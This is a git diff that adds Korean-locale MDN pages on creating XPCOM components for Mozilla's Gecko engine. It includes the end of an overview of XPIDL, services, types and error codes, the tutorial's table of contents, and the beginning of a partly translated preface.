+<p>However, these shortcomings pale in comparison to the functionality gained by using XPIDL. XPIDL allows you to generate<em>type libraries</em> , or typelibs, which are files with the extension<em>.xpt</em> . The type library is a binary representation of an interface or interfaces. It provides programmatic control and access of the interface, which is crucial for interfaces used in the non C++ world. When components are accessed from other languages, as they can be in XPCOM, they use the binary type library to access the interface, learn what methods it supports, and call those methods. This aspect of XPCOM is called<em>XPConnect</em> . XPConnect is the layer of XPCOM that provides access to XPCOM components from languages such as JavaScript. See <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Connecting_to_Components_from_the_Interface">Connecting to Components from the Interface</a> for more information about XPConnect.</p>
+
+<p>When a component is accessible from a language other than C++, such as JavaScript, its interface is said to be "reflected" into that language. Every reflected interface must have a corresponding type library. Currently you can write components in C, C++, or JavaScript (and sometimes Python or Java, depending on the state of the respective bindings), and there are efforts underway to build XPCOM bindings for Ruby and Perl as well.</p>
+
+<div class="side-note">
+<p><span id="Writing_Components_in_Other_Languages"><a id="Writing_Components_in_Other_Languages"></a><strong>Writing Components in Other Languages</strong></span></p>
+
+<p>Though you do not have access to some of the tools that XPCOM provides for C++ developers (such as macros, templates, smart pointers, and others) when you create components in other languages, you may be so comfortable with the language itself that you can eschew C++ altogether and build, for example, Python-based XPCOM components that can be used from JavaScript or vice versa.</p>
+
+<p>See <a href="ko/Creating_XPCOM_Components/Resources">Resources</a> for more information about Python and other languages for which support has been added in XPCOM.</p>
+</div>
+
+<p>All of the public interfaces in XPCOM are defined using the XPIDL syntax. Type libraries and C++ header files are generated from these IDL files, and the tool that generates these files is called the<em>xpidl compiler</em> . The section <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Defining_the_WebLock_Interface_in_XPIDL">Defining the WebLock Interface in XPIDL</a> describes the XPIDL syntax in detail.</p>
+
+<h3 id="XPCOM_Services" name="XPCOM_Services">XPCOM Services</h3>
+
+<p>When clients use components, they typically<em>instantiate</em> a new object each time they need the functionality the component provides. This is the case when, for example, clients deal with files: each separate file is represented by a different object, and several file objects may be being used at any one time.</p>
+
+<p>But there is also a kind of object known as a<em>service</em> , of which there is always only one copy (though there may be many services running at any one time). Each time a client wants to access the functionality provided by a service, they talk to the same instance of that service. When a user looks up a phone number in a company database, for example, probably that database is being represented by an "object" that is the same for all co-workers. If it weren't, the application would need to keep two copies of a large database in memory, for one thing, and there might also be inconsistencies between records as the copies diverged.</p>
+
+<p>Providing this single point of access to functionality is what the singleton design pattern is for, and what services do in an application (and in a development environment like XPCOM).</p>
+
+<p>In XPCOM, in addition to the component support and management, there are a number of services that help the developer write cross platform components. These services include a cross platform file abstraction which provides uniform and powerful access to files, directory services which maintain the location of application- and system-specific locations, memory management to ensure everyone uses the same memory allocator, and an event notification system that allows passing of simple messages. The tutorial will show each of these component and services in use, and the <a href="ko/XPCOM_API_Reference">XPCOM API Reference</a> has a complete interface listing of these areas.</p>
+
+<h3 id="XPCOM_Types" name="XPCOM_Types">XPCOM Types</h3>
+
+<p>There are many XPCOM declared types and simple macros that we will use in the following samples. Most of these types are simple mappings. The most common types are described in the following sections.</p>
+
+<h4 id="Method_Types" name="Method_Types">Method Types</h4>
+
+<p>The following are a set of types for ensuring correct calling convention and return type of XPCOM methods.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>NS_IMETHOD</code></td>
+   <td>Method declaration return type. XPCOM method declarations should use this as their return type.</td>
+  </tr>
+  <tr>
+   <td><code>NS_IMETHODIMP</code></td>
+   <td>Method Implementation return type. XPCOM method implementations should use this as their return time.</td>
+  </tr>
+  <tr>
+   <td><code>NS_IMETHODIMP_(type)</code></td>
+   <td>Special case implementation return type. Some methods such as <code>AddRef</code> and <code>Release</code> do not return the default return type. This exception is regrettable, but required for COM compliance.</td>
+  </tr>
+  <tr>
+   <td><code>NS_IMPORT</code></td>
+   <td>Forces the method to be resolved internally by the shared library.</td>
+  </tr>
+  <tr>
+   <td><code>NS_EXPORT</code></td>
+   <td>Forces the method to be exported by the shared library.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Reference_Counting" name="Reference_Counting">Reference Counting</h4>
+
+<p>These macros manage reference counting.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>NS_ADDREF</code></td>
+   <td>Calls <code>AddRef</code> on an <code>nsISupports</code> object.</td>
+  </tr>
+  <tr>
+   <td><code>NS_IF_ADDREF</code></td>
+   <td>Same as above but checks for null before calling <code>AddRef</code>.</td>
+  </tr>
+  <tr>
+   <td><code>NS_RELEASE</code></td>
+   <td>Calls <code>Release</code> on an <code>nsISupports</code> object.</td>
+  </tr>
+  <tr>
+   <td><code>NS_IF_RELEASE</code></td>
+   <td>Same as above but check for null before calling <code>Release</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Status_Codes" name="Status_Codes">Status Codes</h3>
+
+<p>These macros test status codes.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>NS_FAILED</code></td>
+   <td>Return true if the passed status code was a failure.</td>
+  </tr>
+  <tr>
+   <td><code>NS_SUCCEEDED</code></td>
+   <td>Returns true is the passed status code was a success.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Variable_Mappings" name="Variable_Mappings">Variable Mappings</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>nsrefcnt</code></td>
+   <td>Default reference count type. Maps to a 32-bit integer.</td>
+  </tr>
+  <tr>
+   <td><code>nsresult</code></td>
+   <td>Default error type. Maps to a 32-bit integer.</td>
+  </tr>
+  <tr>
+   <td><code>nsnull</code></td>
+   <td>Default null value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Common_XPCOM_Error_Codes" name="Common_XPCOM_Error_Codes">Common XPCOM Error Codes</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>NS_ERROR_NOT_INITIALIZED</code></td>
+   <td>Returned when an instance is not initialized.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_ALREADY_INITIALIZED</code></td>
+   <td>Returned when an instance is already initialized.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_NOT_IMPLEMENTED</code></td>
+   <td>Returned by an unimplemented method.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_NO_INTERFACE</code></td>
+   <td>Returned when a given interface is not supported.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_NULL_POINTER</code></td>
+   <td>Returned when a valid pointer is found to be <code>nsnull</code>.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_FAILURE</code></td>
+   <td>Returned when a method fails. Generic error case.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_UNEXPECTED</code></td>
+   <td>Returned when an unexpected error occurs.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_OUT_OF_MEMORY</code></td>
+   <td>Returned when a memory allocation fails.</td>
+  </tr>
+  <tr>
+   <td><code>NS_ERROR_FACTORY_NOT_REGISTERED</code></td>
+   <td>Returned when a requested class is not registered.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Creating_XPCOM_Components:Preface" style="float: left;">« 이전</a><a href="/ko/docs/Creating_XPCOM_Components:Using_XPCOM_Components">다음  »</a></p>
+</div> <p></p><div class="licenseblock">
+<p>Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the <a class="external" href="http://www.opencontent.org/openpub/" rel="noopener">Open Publication License</a>, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.</p>
+</div><p></p>
diff --git a/files/ko/creating_xpcom_components/index.html b/files/ko/creating_xpcom_components/index.html
new file mode 100644
index 0000000000..3af1db1e92
--- /dev/null
+++ b/files/ko/creating_xpcom_components/index.html
@@ -0,0 +1,355 @@
+---
+title: Creating XPCOM Components
+slug: Creating_XPCOM_Components
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components
+---
+<h3 id="Preface" name="Preface"><a href="ko/Creating_XPCOM_Components/Preface">Preface</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Preface#Who_Should_Read_This_Book">Who Should Read This Book</a> 이 문서가 필요한 사람</dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Preface#Organization_of_the_Tutorial">Organization of the Tutorial</a> 튜토리얼 구조</dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Preface#Following_Along_with_the_Examples">Following Along with the Examples</a> 예제 따라하기</dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Preface#Conventions">Conventions</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Preface#Acknowledgements">Acknowledgements</a></dd>
+</dl>
+<h3 id="An_Overview_of_XPCOM" name="An_Overview_of_XPCOM"><a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM">An Overview of XPCOM</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#The_XPCOM_Solution">The XPCOM Solution</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Gecko">Gecko</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Components">Components</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Interfaces">Interfaces</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Interfaces_and_Encapsulation">Interfaces and Encapsulation</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#The_nsISupports_Base_Interface">The <code>nsISupports</code> Base Interface</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#XPCOM_Identifiers">XPCOM Identifiers</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#CID">CID</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Contract_ID">Contract ID</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Factories">Factories</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#XPIDL_and_Type_Libraries">XPIDL and Type Libraries</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#XPCOM_Services">XPCOM Services</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#XPCOM_Types">XPCOM Types</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Method_Types">Method Types</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Reference_Counting">Reference Counting</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Status_Codes">Status Codes</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Variable_Mappings">Variable Mappings</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Common_XPCOM_Error_Codes">Common XPCOM Error Codes</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Using_XPCOM_Components" name="Using_XPCOM_Components"><a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components">Using XPCOM Components</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Component_Examples">Component Examples</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Cookie_Manager">Cookie Manager</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#The_WebBrowserFind_Component">The <b>WebBrowserFind</b> Component</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#The_WebLock_Component">The <b>WebLock</b> Component</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Component_Use_in_Mozilla">Component Use in Mozilla</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Finding_Mozilla_Components">Finding Mozilla Components</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#Using_XPCOM_Components_in_Your_Cpp">Using XPCOM Components in Your Cpp</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Components#XPConnect:_Using_XPCOM_Components_From_Script">XPConnect: Using XPCOM Components From Script</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Component_Internals" name="Component_Internals"><a href="ko/Creating_XPCOM_Components/Component_Internals">Component Internals</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Component_Internals#Creating_Components_in_Cpp">Creating Components in Cpp</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Component_Internals#XPCOM_Initialization">XPCOM Initialization</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#XPCOM_Registry_Manifests">XPCOM Registry Manifests</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#Registration_Methods_in_XPCOM">Registration Methods in XPCOM</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#Autoregistration">Autoregistration</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#The_Shutdown_Process">The Shutdown Process</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#Three_Parts_of_a_XPCOM_Component_Library">Three Parts of a XPCOM Component Library</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Component_Internals#XPCOM_Glue">XPCOM Glue</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#The_Glue_Library">The Glue Library</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Component_Internals#XPCOM_String_Classes">XPCOM String Classes</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Creating_the_Component_Code" name="Creating_the_Component_Code"><a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code">Creating the Component Code</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#What_We.27ll_Be_Working_On">What We'll Be Working On</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Component_Registration">Component Registration</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#The_regxpcom_Program">The <code>regxpcom</code> Program</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Registration_Alternatives">Registration Alternatives</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Overview_of_the_WebLock_Module_Source">Overview of the <b>WebLock</b> Module Source</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Digging_In:_Required_Includes_and_Constants">Digging In: Required Includes and Constants</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Identifiers_in_XPCOM">Identifiers in XPCOM</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Coding_for_the_Registration_Process">Coding for the Registration Process</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#The_Registration_Methods">The Registration Methods</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#Creating_an_Instance_of_Your_Component">Creating an Instance of Your Component</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#webLock1.cpp"><code>webLock1.cpp</code></a></dd>
+</dl>
+<h3 id="Using_XPCOM_Utilities_to_Make_Things_Easier" name="Using_XPCOM_Utilities_to_Make_Things_Easier"><a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier">Using XPCOM Utilities to Make Things Easier</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#XPCOM_Macros">XPCOM Macros</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#Generic_XPCOM_Module_Macros">Generic XPCOM Module Macros</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#Common_Implementation_Macros">Common Implementation Macros</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#Declaration_Macros">Declaration Macros</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#webLock2.cpp"><code>webLock2.cpp</code></a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#String_Classes_in_XPCOM">String Classes in XPCOM</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#Using_Strings">Using Strings</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#nsEmbedString_and_nsEmbedCString"><code>nsEmbedString</code> and <code>nsEmbedCString</code></a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Using_XPCOM_Utilities_to_Make_Things_Easier#Smart_Pointers">Smart Pointers</a></dd>
+</dl>
+<h3 id="Starting_WebLock" name="Starting_WebLock"><a href="ko/Creating_XPCOM_Components/Starting_WebLock">Starting <b>WebLock</b></a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Getting_Called_at_Startup">Getting Called at Startup</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Registering_for_Notifications">Registering for Notifications</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Getting_Access_to_the_Category_Manager">Getting Access to the Category Manager</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Providing_Access_to_WebLock">Providing Access to <b>WebLock</b></a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Creating_the_WebLock_Programming_Interface">Creating the <b>WebLock</b> Programming Interface</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Defining_the_WebLock_Interface_in_XPIDL">Defining the <b>WebLock</b> Interface in XPIDL</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#The_XPIDL_Syntax">The XPIDL Syntax</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Scriptable_Interfaces">Scriptable Interfaces</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Subclassing_nsISupports">Subclassing <code>nsISupports</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#The_Web_Locking_Interface">The Web Locking Interface</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Implementing_WebLock">Implementing <b>WebLock</b></a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Declaration_Macros">Declaration Macros</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Representing_Return_Values_in_XPCOM">Representing Return Values in XPCOM</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#XPIDL_Code_Generation">XPIDL Code Generation</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Getting_the_WebLock_Service_from_a_Client">Getting the <b>WebLock</b> Service from a Client</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Implementing_the_iWebLock_Interface">Implementing the <code>iWebLock</code> Interface</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#The_Directory_Service">The Directory Service</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Modifying_Paths_with_nsIFile">Modifying Paths with <code>nsIFile</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Manipulating_Files_with_nsIFile">Manipulating Files with <code>nsIFile</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Using_nsILocalFile_for_Reading_Data">Using <code>nsILocalFile</code> for Reading Data</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Processing_the_White_List_Data">Processing the White List Data</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Starting_WebLock#iWebLock_Method_By_Method"><code>iWebLock</code> Method By Method</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#Lock_and_Unlock"><code>Lock</code> and <code>Unlock</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#AddSite"><code>AddSite</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#RemoveSite"><code>RemoveSite</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#SetSites"><code>SetSites</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#GetNext"><code>GetNext</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#GetSites"><code>GetSites</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Starting_WebLock#HasMoreElements"><code>HasMoreElements</code></a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Finishing_the_Component" name="Finishing_the_Component"><a href="ko/Creating_XPCOM_Components/Finishing_the_Component">Finishing the Component</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Using_Frozen_Interfaces">Using Frozen Interfaces</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Copying_Interfaces_Into_Your_Build_Environment">Copying Interfaces Into Your Build Environment</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy_Interface">Implementing the <code>nsIContentPolicy</code> Interface</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Receiving_Notifications">Receiving Notifications</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Implementing_the_nsIContentPolicy">Implementing the <code>nsIContentPolicy</code></a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Uniform_Resource_Locators">Uniform Resource Locators</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Checking_the_White_List">Checking the White List</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Finishing_the_Component#Creating_nsIURI_Objects">Creating <code>nsIURI</code> Objects</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Building_the_WebLock_UI" name="Building_the_WebLock_UI"><a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI">Building the <b>WebLock</b> UI</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#User_Interface_Package_List">User Interface Package List</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#Client_Code_Overview">Client Code Overview</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#XUL">XUL</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#The_XUL_Document">The XUL Document</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#The_Locking_UI">The Locking UI</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#Site_Adding_UI">Site Adding UI</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.xul"><code>weblock.xul</code></a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#Overlaying_New_User_Interface_Into_Mozilla">Overlaying New User Interface Into Mozilla</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#webLockOverlay.xul"><code>webLockOverlay.xul</code></a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#Other_Resources">Other Resources</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#weblock.css"><code>weblock.css</code></a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Building_the_WebLock_UI#Image_Resources">Image Resources</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id="Packaging_WebLock" name="Packaging_WebLock"><a href="ko/Creating_XPCOM_Components/Packaging_WebLock">Packaging WebLock</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Packaging_WebLock#Component_Installation_Overview">Component Installation Overview</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Packaging_WebLock#Archiving_Resources">Archiving Resources</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Installation_Script">The <b>WebLock</b> Installation Script</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Packaging_WebLock#The_WebLock_Trigger_Script">The <b>WebLock</b> Trigger Script</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Packaging_WebLock#Distributing_Your_Component">Distributing Your Component</a></dd>
+</dl>
+<h3 id="Appendix_A_-_Setting_up_the_Gecko_SDK" name="Appendix_A_-_Setting_up_the_Gecko_SDK"><a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK">Appendix A - Setting up the Gecko SDK</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Downloading_and_Setting_the_SDK">Downloading and Setting the SDK</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Building_a_Microsoft_Visual_Cpp_Project">Building a Microsoft Visual Cpp Project</a>
+  <dl>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Creating_a_New_Project">Creating a New Project</a></dd>
+   <dd>
+    <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Adding_the_Gecko_SDK_to_the_Project_Settings">Adding the Gecko SDK to the Project Settings</a></dd>
+  </dl>
+ </dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#A_Makefile_for_Unix">A Makefile for Unix</a></dd>
+</dl>
+<h3 id="Appendix_B_-_Resources" name="Appendix_B_-_Resources"><a href="ko/Creating_XPCOM_Components/Resources">Appendix B - Resources</a></h3>
+<dl>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Resources#WebLock_Resources">WebLock Resources</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Resources#Gecko_Resources">Gecko Resources</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Resources#XPCOM_Resources">XPCOM Resources</a></dd>
+ <dd>
+  <a href="ko/Creating_XPCOM_Components/Resources#General_Development_Resources">General Development Resources</a></dd>
+</dl>
diff --git a/files/ko/creating_xpcom_components/preface/index.html b/files/ko/creating_xpcom_components/preface/index.html
new file mode 100644
index 0000000000..fa6c630b61
--- /dev/null
+++ b/files/ko/creating_xpcom_components/preface/index.html
@@ -0,0 +1,78 @@
+---
+title: Preface
+slug: Creating_XPCOM_Components/Preface
+tags:
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/Preface
+---
+<p>이 문서는 Gecko 엔진과 이를 기반으로 하는 어플리케이션들을 위한 XPCOM 컴포넌트에 대한 설명을 담고 있습니다. 여기서 강조하고 있는 것은 Gecko 에서 사용 가능한 컴포넌트에 당신의 C++ 코드를 삽입하는</p>
+
+<p>Though the emphasis is on the practical steps you take to make your C++ code into a component that can be used in Gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up XPCOM. Accordingly, the book is arranged so that you can follow along and create your own components or learn about different XPCOM topics individually, as in a reference work. For example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with Mozilla - prompts a discussion of the relationship between components and modules, of XPCOM interfaces, and of the registration process in general.</p>
+
